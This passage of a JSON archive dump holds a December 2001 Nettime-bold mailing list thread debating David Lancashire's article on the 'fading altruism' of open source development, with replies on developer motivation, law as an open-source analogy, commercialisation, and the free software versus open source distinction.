general\nmodel and explanation.  - Why, then, is it that Indian and Russian\nprogrammers hardly contribute to Free Software development at all?\n\nMany Free Software developers I know have left-wing political views\nthough and see work on Free Software as unalienated labour for which\nthey are willing to make economical sacrifices.  \n\n- A motivation and lifestyle that I guess everyone who works in the\narts, academia or media (and probably everyone on Nettime) knows quite \nwell...\n\nFlorian\n\n\nP.S.: While I have great sympathy for the conclusion that...\n\n>> the insights political economists can shed on these movements allow\n>> for a much more nuanced view of development than is made by advocates\n>> of post-scarcity gift cultures. \n\n...and think it is necessary \n\n(a) to revise Raymond's enthusiastic distortion of the (quite nonideal)\ngift cultures described by Marcel Mauss\n\n(b) not to speak of \"post-scarcity economics\" by falsly drawing from\nnon-scarce immaterial goods (=software and information which is scarce\nonly in its dependence on material carriers/hardware) to scarce material\ngoods (energy, food, clothing, housing, etc.), \n\nit still remains true that, since the 1980s, the software industry has\nmade software artificially scarce by declaring it a material commodity.\nA questionable and, via the enforcement of \"intellectual property\" laws,\nincreasingly totalitarian commodification to which Free Software\nprovides an alternative. (- An alternative with the well-known downsides\nof economic self-exploitation of its producers, although they [still]\nare in an economically more comfortable position than those working in\nother fields of culture.)\n\n\nP.P.S.: The fact that the Debian GNU/Linux distribution, probably the\nlargest high-quality collection of Free Software, has grown to six full\nCD-ROMs/4 GB of compiled binaries (from two CD-ROMs back in 1997) is my\nempirical evidence against any claim about \"the fading altruism in Free\nSoftware development\".  \n\n--\nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "nettime-l@bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00286.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "follow-up": [
                    {
                        "from": "Craig Brozefsky <craig@red-bean.com>",
                        "content": "oliver frommel <oliver@firstfloor.org> writes:\n\n> hello,\n> \n> i don't know if this has already passed the nettime mailing list but i \n> could not find anything in the archive .. it is a fairly interesting \n> article about the economic and cultural background of free software \n> development. it is long and has a lot of images so i only post the url ..\n> \n> The Fading Altruism of Open Source Development by David Lancashire\n> First Monday, volume 6, number 12 (December 2001),\n> URL: http://firstmonday.org/issues/issue6_12/lancashire/index.html\n\nI started reading this and then I got to the outline of their analysis\nwas immediately turned off.  It's like the guy looking for his car\nkeys under the street lamp cause that is where it's brightest.\n\n\n-- \nCraig Brozefsky                           <craig@red-bean.com>\n                                http://www.red-bean.com/~craig\nAsk me about Common Lisp Enterprise Eggplants at Red Bean!\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00290",
                        "date": "12 Dec 2001 10:42:10 -0600",
                        "to": "liver frommel <oliver@firstfloor.org>",
                        "message-id": "87lmg89yql.fsf@piracy.red&#45;bean.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00290.html",
                        "content-type": "text/plai",
                        "author_name": "Craig Brozefsky",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "elix Stalder <felix@openflows.org>",
                        "content": "I never understood why people think of Open Source in terms of _altruism_.\nPerhaps, it's due to some confusion related to the \"saintly\" image of\nRichard Stallman, but it's the completely wrong approach and shows a very\nlimited understanding of economic relationships where things are more\nvaried than than selling things vs giving them away.\n\nTo make a long argument short, altruism is, if anything, the effect of Open\nSource but not its cause. For Open Source to work, people do not need to be\naltruistic, or at least not all of them. As far as I can see, many of the\ndevelopers who contribute to Open Source do so in the context of their\nprofessional work, be it as members of academic institutions -- where\npublishing and visibility has nothing to do with altruism but is a\nnecessity of survival -- or in the context of companies who use and extend\nOpen Source software in the work they do for clients.\n\nBut let's forget for a moment software and look at another great Open\nSource project: the law. Nobody would claim lawyers as a profession to be\naltruistic, even though there are certainly individuals with altruistic\nmotives. Many of them are highly paid and some are very much motivated by\nmoney. Nevertheless, they all contribute to a great Open Source project.\nThe law and the court proceedings (ie. the code) are public and if you\nwant, you can use an argument made in one case by someone else in your own\ncase. In fact, this is standard practice and crucial to the efficient\nworking of the legal system. This is how the system learns and evolves and\nhow it avoids to be clogged with an endless numbers of identical cases. If\nlawyers could copyright their arguments (i.e. restrict other lawyers from\nusing them), the system would break down, particularly the Anglo-American\nsystem of common law.\n\nIn some ways, creating the law is similar to creating software. The first\ncopy (i.e. deciding the first case in a new area) tends to be very\nexpensive, but subsequent copies (i.e. deciding further similar cases) are\nmuch cheaper.\n\nThe problem -- and the reason why lawyers make a good living -- is that\nthere are rarely identical cases, or, at the very least, it is very hard to\ntell if a case is identical to one that has already passed through system.\nWhat you pay a lawyer for is her knowlegde of the relevant cases and her\nwork to take whatever necessary from them and then customize it for your\nown context and needs. Sometimes this \"customization\" is relatively\ntrivial, sometime this includes a significant contribution to the evolving\npublic knowledge base.\n\nTo some degree, the same model applies to Open Source Software development.\nWhat you pay, say, IBM for when they install a new server with Linux on it,\nis the service they provide to you for customizing what is out there (Linux\netc.) to your own ideosynractic needs. And rarely, your needs are exactly\nthe same than other people's needs.\n\nMany people who contribute to Open Source Software work in contexts that\nproduce software but don't sell it. Be it that they are academics/students\nor be it that they sell services. Taking from and contributing to free code\nis in both cases a strategy that makes sense for very \"selfish\" reasons,\neven though they also contribute to the free knowledge base.\n\n\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00292",
                        "date": "Wed, 12 Dec 2001 12:39:49 -0500",
                        "to": "nettime-l@bbs.thing.net",
                        "message-id": "v03130305b83d2e8edfab@[24.43.135.56]",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00292.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "liver frommel <oliver@firstfloor.org>",
                        "content": "On Wed, 12 Dec 2001, Florian Cramer wrote:\n\n> .. \n> It's easy to claim, as in the above quote, there is a lack of\n> \"highly-complex and anti-proprietary\" Free Software if one doesn't seem to\n> know GNU, the free BSD operating systems (FreeBSD, NetBSD, OpenBSD), the X\n> Window System, Mozilla, the Debian GNU/Linux distribution - and wilfully\n> excludes gcc, Perl, Python, PHP, PostgreSQL, Emacs, Apache, sendmail and\n> other highly complex Free Software projects from one's consideration.\n>\n\nthis is true but there are a lot of \"parallel projects\" trying to make \nmoney from free software (through consulting mainly, in accordance with \nstallman's views, or customization of free software). \n\ne.g. activestate tries to make money from perl, python, mozilla, php ..\n(www.activestate.com)\n\"Sendmail, Inc. develops commercial products and services\n\tthat simplify the deployment of sendmail\" (www.sendmail.org)\n\npostgresql offers commercial support\nhttp://www.ca.postgresql.org/users-lounge/commercial-support.html\n\na lot of development on the gnu c (and others) compiler system was \ntraditionally done by the cygnus corporation (now integrated into redhat)\n\nwhen you look at a lot of recent projects like e.g. JBOSS (www.jboss.org)\nthat use \"industry standards\" like the j2ee (java2 enterprise edition) it \nis clearly not the fun that is the primary motivation for the free \nsoftware programmers in this field.\n\nI do not criticize people making money through consulting etc. but it I \nthink you need to take that into consideration as the author of the \narticle does.\n\nI think you are right in stressing the difference between commercial \n(what? software? enterprises? ..) and proprietery software. But if you \ntake into consideration that \"free\" software does create complex \nrelationships I find it hard to accept a synthetic seperation between the \nsoftware product \"as such\" and the dependencies it creates. Think of the\ncreation of industry standards making users and developers somehow \ndependent on the original creator. complex software makes its users \ndependent in the developers. \n\n\n> \n> While Linus Torvalds and Miguel de Icaza used their reputation to go\n> abroad and work in the U.S., proving that this indeed may be a motivation\n> to write Free Software, this certainly fails as a general model and\n> explanation.  - Why, then, is it that Indian and Russian programmers\n> hardly contribute to Free Software development at all?\n>\n\nThere are some developers from Russia. E.g. Alexey Kuznetsov has done a \nlot of work on the networking code. This shows a weakness of Lancashire's\nempirical research: it neglects the quality of contributions to free \nsoftware, even the quantity of contributions per developer. \n\n \n> Many Free Software developers I know have left-wing political views though\n> and see work on Free Software as unalienated labour for which they are\n> willing to make economical sacrifices.\n>\n\nmany software developers I know have right-wing libertarian views, with a \nstrong disregard for what any possible end user might want. usually a lot \nof free software developers don't even regard other human beings as equal \nto any degree (this is what  Lancashire decribes in the paragraph about \nNeuromancer, Turkle etc.). You might recognize a certain misogynous \nattitude in hacker culture in general (\"GUIs are for girls\", \"real men use \ncommand line\", \"real men use linux\", you could go on like this for quite \na while). The same goes for \"gay operating systems\" and so on. It would be \ninteresting to analyze the composition of the \"free software community\" in \nterms of race for this matter (I remember irc sessions with about 100 \npeople doing free software development with participants mainly from the \nUS, among all one african american, having to fight permanent harassment). \nFor me this shows that any explanations in terms of gift or even GPL \nculture are less plausible than Lancashire's analysis which still might \nhave its own flaws.\n\nOliver\n\n\n\n \n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00299",
                        "date": "Wed, 12 Dec 2001 22:38:52 +0100 (CET)",
                        "to": "Florian Cramer <cantsin@zedat.fu-berlin.de>",
                        "message-id": "Pine.LNX.4.33.0112122143400.4799&#45;100000@zero.aec.at",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00299.html",
                        "content-type": "text/plai",
                        "author_name": "oliver frommel",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "scotartt <scot@systemx.autonomous.org>",
                        "content": "\nOn Wed, Dec 12, 2001 at 10:38:52PM +0100, oliver frommel wrote:\n\n> when you look at a lot of recent projects like e.g. JBOSS (www.jboss.org)\n> that use \"industry standards\" like the j2ee (java2 enterprise edition) it\n> is clearly not the fun that is the primary motivation for the free\n> software programmers in this field.\n\n\nWell, look at the Jakarta Tomcat servlet engine, which is *the* standard\nservlet engine, not just *a* standard servlet engine. Tomcat is the\n\"reference implementation\" of the Servlet specification of Sun\nMicrosystems' J2EE standard.\n\nAnd IBM gave away a big chunk of it's IDE code to the Eclipse project; the\nidea is an open source development environment that is modular and can\nbe extended with both proprietry _and_ open source solutions. Also part of\nIBM's Websphere use the Jakarta ANT product in it, as well as the fact\nthat their webserver technology is based on Apache. IBM, and lots of other\nbig IT corporates like Oracle, have embraced both Java (ultimately owned\nby their competitor, Sun Microsystems, although now opened to a 'community\nprocess'), and indeed, Linux and Open Source.\n\nThe open source paradigm has been well embraced by many large IT\ncorporations. Jakarta project products are found in widespread use\nthroughout corporate development.\n\nregards\nscot.\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00305",
                        "date": "Thu, 13 Dec 2001 13:15:13 +1100",
                        "to": "liver frommel <oliver@firstfloor.org>",
                        "message-id": "20011213131513.A10463@systemx.autonomous.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00305.html",
                        "content-type": "text/plai",
                        "author_name": "scotartt",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "Heiko Recktenwald <uzs106@ibm.rhrz.uni-bonn.de>",
                        "content": "Hi,\n\nOn Wed, 12 Dec 2001, Felix Stalder wrote:\n\n> I never understood why people think of Open Source in terms of _altruism_.\n\n<..>\n\n> But let's forget for a moment software and look at another great Open\n> Source project: the law. Nobody would claim lawyers as a profession to be\n> altruistic, even though there are certainly individuals with altruistic\n> motives. Many of them are highly paid and some are very much motivated by\n\nIsnt the legal system in some form \"altruistic\" per se ?\n\nBut I wouldnt call it \"Open Source\". Casebooks are books. Ideas are free\nanyway. At least outside of the world of patents for gifs etc..\n\n\nH.\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00310",
                        "date": "Thu, 13 Dec 2001 04:10:28 +0100 (CET)",
                        "to": "Felix Stalder <felix@openflows.org>",
                        "message-id": "Pine.LNX.4.33.0112130404330.13112&#45;100000@intra.b.lab.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00310.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "Keith Hart <HART_KEITH@compuserve.com>",
                        "content": "This message is triggered by Felix Stalder's of the above header. Felix and\nI appeared together on a panel he organised from the wos2 conference in\nBerlin during October. It was entitled open_money, a subject I will return\nto below, as a way of introducing my own writing. But first I want to\ncomment on his remarks about altruism and the law in relation to open\nsource. I should say that I find us in broad agreement on the general issue\nof open source, the internet and democracy.\n\nThe opposition selfish/altruistic is depressing because it speaks of a huge\ngap between the individual and society. This corresponds to our experience,\nwhere we are told on the one hand that each of us is a unique subjective\npersonality, while society is a mass of remote objects governed by forces\nwe neither understand nor can influence. The task of personal development\nand social organisation is rather to find way ways of integrating the two,\nthe individual and the collective, self-in-the-world. And the most\nlonglasting human arrangements do precisely that. We have to be\nself-reliant to a high degree and we have to learn to belong to others, to\nbe connected at the same time. This is the human predicament and few\nentirely succeed. The issue therefore is not to be either selfish or\naltruistic -- each position is childish -- but to aim for what I think of\nas the human idea, to combine self-interest with recogniton that the\ninterest of everyone else in society affects us too, thereby dissolving the\ncontradiction between the individual and the collective. I would claim that\nthis principle was independently invented twice, by Gautama and John Locke.\nBut that would take us a bit far from what I want to say. \n\nI wish to take issue with Felix's argument that the law in contemporary\nwestern societies offers an unambiguous point of reference for assessing\nthe value of open source software development. It is true that English\ncommon law is unusual in making public law the normative outcome of\nindividual citizens exercising their rights, with a heavy reliance on\njudicial precedent over statutary law. It is also true that the body of\ncase law is available to lawyers as a basis for their arguments. But I\nthink it would be wrong to say that the law is therefore open in the sense\nthat all citizens have free access to it. First, as Felix implies, the law\nin many cultures is dualistic in a way that English common law was intended\nnot to be. In most European languages there are two words for law, not one\n(eg loi/droit), reflecting a sharp division between public and private law,\nbetween the state and the people. Second, for centuries the judges and the\nlegal profession have operated with a jargon that is closed to the general\npublic. Third, access to the law, never mind justice, has been highly\nstratified. I could go on. Michael Lewis's recent book on the astonishing\nachievements of kids using the internet (The Future Just Happened, 2001)\nincludes the case of a 15 year old who became the most highly ranked legal\nadviser on an internet site heavily populated by professional lawyers.The\nmedical profession likewise once offered little hope that people might win\nsome measure of control over their own minds and bodies, a situation that\nth einternet may be changing. And surely one test of a civilisation is\nwhether or not it helps its individual members to be self-reliant or\nautonomous. Ours does not. The law then is a bad example for arguing that\nopen source software development can safely cross the border separating\nsharing without payment from commerce.\n\nThe open source movement is split on the issue of exchange and money\npayment. Those who follow the Free Software Foundation appear consider that\nany hint of money and exchange, even of reciprocity, leads directly to\nunacceptable compromise with capitalism. Linux, on the other hand, is\nrapidly being integrated with big business. Feelings run high on both\nsides, but especially on the first, which I would call purist, if not\npuritan. At the same time, the controversy over Microsoft's monopoly and\nthe attempts to break it have pushed the open source movement into the\nmainstream of political debate. It raises interesting questions about\nwhether some software developers are at the cutting edge of a new\ndemocratic politics or perhaps are little different from lawyers and\ndoctors, in that their arcane practices are beyond the grasp of the vast\nbody of citizens. Does it matter if some of them do it without money\npayment?\n\nPerhaps a much bigger and related issue is whether the internet is fast\nlosing the freedom of its early years. Here the case of writers like\nLawrence Lessig (The Future of Ideas) is that private copyright, pushed by\ncorproate capital and the legal profession, is breaking up the internet\ncommons. The example of software development remains central to this case.\nIt all seems to me an entirely healthy recasting of the political debate in\nterms that invite each of us to interrogate what we may have taken for\ngranted. What is the commons and does it matter whether we lose free access\nto it? It means that the long argument about the social effects of markets\nand capitalism can be extended not just to software engineering, but to the\nstreet and parks, to language and literary traditions, indeed to the whole\nsocial infrastructure we live by. My interest is in exploring the\npossibility that money itself might become a commons to which all of us\nwould have open access, open source money, if you like, a money that,\ninstead of being supplied remotely by central agencies as a scarce\ncommdity, might be something we could all make for ourselves.\n\nTo this end, I have been working on community currencies for over a year\nnow with Michael Linton and Ernie Yacub in British Columbia. We are writing\na book called Common Wealth. The subtitle is less stable than the title. At\npresent it is 'building community and economic democracy with open money';\nbut it might be 'open money as a commons' or something like that. I hope to\nshare some of this writing in progress with the nettime list. But at this\nstage, I would point readers towards a website: www.openmoney.org.\n\nThis is the second book on money I written recently. The first is Money in\nan Unequal World (Texere, 2001), first published as The Memory Bank\n(Profile, 2000). There is more about the book, including various\ndownloadable items at www.thememorybank.co.uk. My concern there is with the\nconseqences of the communications revolution for the forms of money and\nexchange. i suggest that money and language are the two great vehicles of\ncommunication we have and that their development is converging. I also set\nout to disentangle the market from capitalism, in the belief that more\nhumane and equal forms of exchange involving money are both possible and\nnecessary. This is the broad basis for my underlying agreement with the\nposition outlined by Felix in his message to the list. There is a lot more\nto be said, but this is my way of introducing myself to the conversation\nconstituted by nettime.\n\nKeith Hart\n\n\n\nI never understood why people think of Open Source in terms of _altruism_.\nPerhaps, it's due to some confusion related to the \"saintly\" image of\nRichard Stallman, but it's the completely wrong approach and shows a very\nlimited understanding of economic relationships where things are more\nvaried than than selling things vs giving them away.\n\nTo make a long argument short, altruism is, if anything, the effect of Open\nSource but not its cause. For Open Source to work, people do not need to be\naltruistic, or at least not all of them. As far as I can see, many of the\ndevelopers who contribute to Open Source do so in the context of their\nprofessional work, be it as members of academic institutions -- where\npublishing and visibility has nothing to do with altruism but is a\nnecessity of survival -- or in the context of companies who use and extend\nOpen Source software in the work they do for clients.\n\nBut let's forget for a moment software and look at another great Open\nSource project: the law. Nobody would claim lawyers as a profession to be\naltruistic, even though there are certainly individuals with altruistic\nmotives. Many of them are highly paid and some are very much motivated by\nmoney. Nevertheless, they all contribute to a great Open Source project.\nThe law and the court proceedings (ie. the code) are public and if you\nwant, you can use an argument made in one case by someone else in your own\ncase. In fact, this is standard practice and crucial to the efficient\nworking of the legal system. This is how the system learns and evolves and\nhow it avoids to be clogged with an endless numbers of identical cases. If\nlawyers could copyright their arguments (i.e. restrict other lawyers from\nusing them), the system would break down, particularly the Anglo-American\nsystem of common law.\n\nIn some ways, creating the law is similar to creating software. The first\ncopy (i.e. deciding the first case in a new area) tends to be very\nexpensive, but subsequent copies (i.e. deciding further similar cases) are\nmuch cheaper.\n\nThe problem -- and the reason why lawyers make a good living -- is that\nthere are rarely identical cases, or, at the very least, it is very hard to\ntell if a case is identical to one that has already passed through system.\nWhat you pay a lawyer for is her knowlegde of the relevant cases and her\nwork to take whatever necessary from them and then customize it for your\nown context and needs. Sometimes this \"customization\" is relatively\ntrivial, sometime this includes a significant contribution to the evolving\npublic knowledge base.\n\nTo some degree, the same model applies to Open Source Software development.\nWhat you pay, say, IBM for when they install a new server with Linux on it,\nis the service they provide to you for customizing what is out there (Linux\netc.) to your own ideosynractic needs. And rarely, your needs are exactly\nthe same than other people's needs.\n\nMany people who contribute to Open Source Software work in contexts that\nproduce software but don't sell it. Be it that they are academics/students\nor be it that they sell services. Taking from and contributing to free code\nis in both cases a strategy that makes sense for very \"selfish\" reasons,\neven though they also contribute to the free knowledge base.\n\n<\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00326",
                        "date": "Thu, 13 Dec 2001 13:51:18 -0500",
                        "to": "nettime <nettime-l@bbs.thing.net>",
                        "message-id": "200112131351_MC3&#45;EA61&#45;AC15@compuserve.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00326.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Hart",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson@subjectivity.com>",
                        "content": "The open source paradigm should not be identified with altruism.  This was\nFelix's main point, and I very much agree.  I also agree that software\ndevelopers, like lawyers, can make a good living by selling their time\nrather than licensing their product.  This is hardly news, however. (And the\nexample of US legal celebrities such as Alan Dershowitz and Melvin Belli\nshows that the path to true riches in the law lies not on billable hours,\nbut on widely distributed and copyrighted product.)\n\nBut then Felix goes on to call the law \"a great Open Source project.\"\nAlthough it's clear to me that he intended this statement to serve only as a\nqualified analogy, I think it's politically important for the record to show\nthat this is far from being the case in practice.  The fact is that large\namounts of the legal apparatus and of the law itself are copyrighted and\ncommercially licensed.\n\nAs Felix points out, the common law system requires that prior court\ndecisions be published and indexed.  This massive publishing task, however,\nis carried out not primarily by governments, but for profit by large\ncommercial entities such as Thomson and Reed Elsevier.  The actual practice\nof precedent-based law today depends on case, statute and authority finders,\nnearly all of which are the extremely expensive and copyrighted products of\ncommercial publishing empires.\n\nNot only is the legal research apparatus licensed at great expense, but\nsometimes so are the statutes themselves.  Building codes, fire codes and\ncommercial codes provide many examples of laws that are written and\ncopyrighted by private organizations and then adopted as public law by the\nlegislatures.  In the USA, this has resulted in counterintuitive (to say the\nleast) situations in which state governments cannot hold copies of their own\nlaws without paying large royalties to the private corporations that wrote\nthem.  Needless to say, US citizens in such cases are also obliged to pay\nthese private organizations in order to learn the laws to which they are\nsubject.\n\nIn the UK the Crown asserts copyright on all laws, although it currently\nwaives its rights with respect to legislation.  But with respect to other\npublic assets such as Ordnance Survey mapping, it vigorously exercises the\nCrown copyright with the express purpose of commercial exploitation.  The\nassertion of Crown copyright on legislation makes it entirely legal for the\nCrown to do the same with the public statutes should it so choose.\n\nIf the law holds a lesson for the open source software development paradigm,\nit is that it is becoming extremely difficult even for governments to\nfinance the increasingly technical and massive task of creating and\nadministering the law without resorting to copyright and other restrictive\nmeasures.  Universities are in a similar situation with respect to research.\nAny political response to the threats posed by these developments to\ndemocracy, free inquiry and free software must be based upon an objective\nand accurate understanding of the economic and technical realities upon\nwhich this political situation is based.\n\nKermit Snelson\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00357",
                        "date": "Fri, 14 Dec 2001 23:37:51 -0800",
                        "to": "<nettime-l@bbs.thing.net>",
                        "message-id": "000401c1853b$66c2ed60$8956c33f@pacbell.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00357.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "[Nettime-bold] RE: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "jaromil <jaromil@dyne.org>",
                        "content": "On Wed, Dec 12, 2001 at 12:39:49AM -0500, Felix Stalder wrote:\n\n> I never understood why people think of Open Source in terms of\n> _altruism_.  Perhaps, it's due to some confusion related to the\n> \"saintly\" image of Richard Stallman, but it's the completely wrong\n> approach and shows a very limited understanding of economic\n> relationships where things are more varied than than selling things\n> vs giving them away.\n\nOn Fri, Dec 14, 2001 at 11:37:51PM -0800, Kermit Snelson wrote:\n\n> The open source paradigm should not be identified with altruism.\n> This was Felix's main point, and I very much agree.  I also agree\n> that software developers, like lawyers, can make a good living by\n> selling their time rather than licensing their product.  This is\n> hardly news, however.  (And the example of US legal celebrities such\n> as Alan Dershowitz and Melvin Belli shows that the path to true\n> riches in the law lies not on billable hours, but on widely\n> distributed and copyrighted product.)\n\nBy reading David Lancashire's article and by following this thread i\nstill don't understand if you're voluntarily blurring differences\nbetween \"free software\" and \"open source\" or you are simply ignorant:\nin the latter case please refer to\nhttp://www.gnu.org/philosophy/free-software-for-freedom.html and\nhttp://www.gnu.org/philosophy/drdobbs-letter.html ; to be sure you\nhave it clear, i quote here a brief statement from the second\ndocument:\n\n The GNU GPL embodies the firm philosophy of the free software\n movement; it doesn't come from the open source movement. I am not a\n supporter of the open source movement, and never have been. \n                                                   (Richard Stallman)\n\nOnce cleared such a crucial difference for the discussion i'd like to\nadd my point of view about free software: _it is_ altruism, it has a\nphilosophical background which is a solid spark in a free software\ndeveloper's mind; furthermore motivation is given as well by the\npossibility to learn from and reuse code of other experienced\nprogrammers willing to share knowledge and much is done also by a\ndevelopment framework which finally _works_ as it should (and it's\nfree[1]! anybody here knows about the costs a programmer had to\nsustain to distribute bytecode produced with a reliable compiler,\nabout 10 years ago? anyone ever read about the industrial revolution\nand the role property of production systems played into it?); it's\nabout the pleasure to research into a field one is sincerely\ninterested, about the craftmanship spirit of self production which is\ndramatically disappearing IRL substituted by mass-production\nomologation.\n\nFree software is about solidarity, quoting Richard Stallman in one of\nhis first theorizations on free software:\n\n Why I Must Write GNU\n\n I consider that the golden rule requires that if I like a program I\n must share it with other people who like it. Software sellers want to\n divide the users and conquer them, making each user agree not to\n share with others. I refuse to break solidarity with other users in\n this way. I cannot in good conscience sign a nondisclosure agreement\n or a software license agreement. For years I worked within the\n Artificial Intelligence Lab to resist such tendencies and other\n inhospitalities, but eventually they had gone too far: I could not\n remain in an institution where such things are done for me against my\n will.\n\n So that I can continue to use computers without dishonor, I have\n decided to put together a sufficient body of free software so that I\n will be able to get along without any software that is not free. I\n have resigned from the AI lab to deny MIT any legal excuse to prevent\n me from giving GNU away.\n\n [...]\n\n                                 \"The GNU Manifesto\", Richard Stallman\n               Copyright (C) 1985, 1993 Free Software Foundation, Inc.\n                          Permission is granted to anyone to make or\n                          distribute verbatim copies of this document.\n\nand of course it's about reputation which i would'nt define\n\"ego-boost\": i see such a phenomenon much more present in other\ncontexts which right here i see engaging the katartical exercise of\nblurring a different philosophy to make it easier to reach.\n\nenfin, to mark distances, i must state \"je ne parle pas logique, je\nparle generosite\" : this answer Andre Breton gave in an analog\nsituation makes me once again comfortable in underlying the\ndifferences i see in our languages, and approaches.\n\n\n\n\n\n[1] Free software is a matter of freedom, not price; the word \"free\"\nhas to be intended in this way here. Furthermore, referring to the\nwrong assumption by Keith Hart in this thread:\n> The open source movement is split on the issue of exchange and money\n> payment. Those who follow the Free Software Foundation appear\n> consider that any hint of money and exchange, even of reciprocity,\n> leads directly to unacceptable compromise with capitalism.\nrefer to http://www.gnu.org/philosophy/selling.html to have a clear\npoint about the free-speech / free-beer issue.\n\n-- \njaromil  ][   http://dyne.org   ][  GnuPG _key__id_\nEDEE F1B9 DC92 76C0 6D46  D77A 58B0 82D6 (5B6E 6D97)\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00386",
                        "date": "Sun, 16 Dec 2001 19:26:43 +0100",
                        "to": "nettime-l@bbs.thing.net",
                        "message-id": "20011216182643.GA2158@dyne.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00386.html",
                        "content-type": "text/plai",
                        "author_name": "jaromil",
                        "subject": "[Nettime-bold] Re: <nettime> The Fading Altruism of Open Source Developmen"
                    },
                    {
                        "from": "elix Stalder <felix@openflows.org>",
                        "content": "Kermit Snelson wrote:\n\n>But then Felix goes on to call the law \"a great Open Source project.\"\n>Although it's clear to me that he intended this statement to serve only as a\n>qualified analogy, I think it's politically important for the record to show\n>that this is far from being the case in practice.\n\nI entirely agree with your qualifications. Indeed, I intended the law\nanalogy as a very partial one. Besides the limitations that you point out,\nthere are obviously further aspects that make the legal system very\ndifferent from Open Source. Perhaps the most important is that in many\ncases only members of a select group,  e.g. barred lawyers, are allowed to\npractice the law. There is a clear, and vigorously maintained, difference\nbetween professionals and lay people. The same difference exists in closed\nsource software. In the open source community, however, the boundaries\nbetween developers and users are sliding and primarily dependent on dynamic\nknowledge and commitment, rather than on static certification. This, I\nthink,  is a really important factor in the vitality of the movement.\n\nThe reason why I brought up the shaky analogy to law is to highlight that\nthere are other areas of our society that are based on a public knowledge\nbase (with the qualifications you added) and that this does not preclude,\nfor the better or worse, their inclusion into the main stream and nor their\neconomic viability.\n\nIndeed, one could argue that many of the most sensitive aspects of a\ndemocracy are based on publicly accessible knowledge (at least in theory)\nand that it might be time to include the emerging information\ninfrastructure into this category. What a democracy needs is transparency,\naccountability and participation, and open source can contribute to this on\na technical level.\n\n\nKeith Hart wrote:\n\n>The opposition selfish/altruistic is depressing because it speaks of a huge\n>gap between the individual and society. This corresponds to our experience,\n>where we are told on the one hand that each of us is a unique subjective\n>personality, while society is a mass of remote objects governed by forces\n>we neither understand nor can influence. The task of personal development\n>and social organisation is rather to find way ways of integrating the two,\n>the individual and the collective, self-in-the-world.\n\nWhen I talked about 'selfish' versus 'altruistic' motivations of open\nsource contributors,  I took them as opposites which are usually regarded\nas mutually exclusive. What I meant was that the way the process is\ncurrently organized there is no real difference between the two, or, to be\nmore precise, the difference is on the level of the personal input, rather\nthan in the systemic output. In other words, no matter why you produce open\nsource code, the result is always open source code, which someone else can\nyou to whatever purpose she sees fit. Because the code is open, it is\nimpossible to program a hidden agenda into open source code, in the way MS\nsoftware is rumored  to have hidden backdoors and secret keys. This, to\nsome degree, keeps the software neutral and prevents personal motivations\nto be translated into code that would conflict with the motivations of\nother members of the community.\n\nThere is a long-standing discussion over whether Open Source is left wing\nor a right wing movement which also crept up in this thread.\n\nFlorian Cramer wrote:\n>Many Free Software developers I know have left-wing political views 